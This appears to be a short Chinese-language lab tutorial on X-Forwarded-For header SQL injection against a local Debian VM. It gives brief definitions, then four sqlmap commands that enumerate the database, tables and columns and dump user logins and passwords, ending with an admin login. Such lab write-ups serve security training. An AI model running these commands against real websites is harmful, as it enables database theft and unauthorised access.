SQL注入
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
X-Forwarded-For
HTTP请求头部字段,用来表示 HTTP 请求端真实 IP。
XFF注入/ X-Forwarded-For
XFF,是X-Forwarded-for的缩写,XFF注入是SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
实验环境:
攻击者:Kali Linux(192.168.100.146)
靶机:VMware workstations Pro——Debian 6(32-bit)(192.168.100.132)
实验流程:
- 利用sqlmap检测网站时都存在XFF注入
命令:sqlmap -u http://192.168.100.132 --headers=“X-Forwarded-For:*” --batch –dbs
经过检测,存在XFF注入,注入手法为延时注入 - 获取数据表名
命令:sqlmap -u http://192.168.100.132 --headers=“X-Forwarded-For:*” --batch -D photoblog --tables
- 获取字段
命令:sqlmap -u http://192.168.100.132 --headers=“X-Forwarded-For:*” --batch -D photoblog -T users --columns
- 获取数据
命令:sqlmap -u http://192.168.100.132 --headers=“X-Forwarded-For:*” --batch -D photoblog -T users -C login,password –dump
- 利用用户名和密码登录网站后台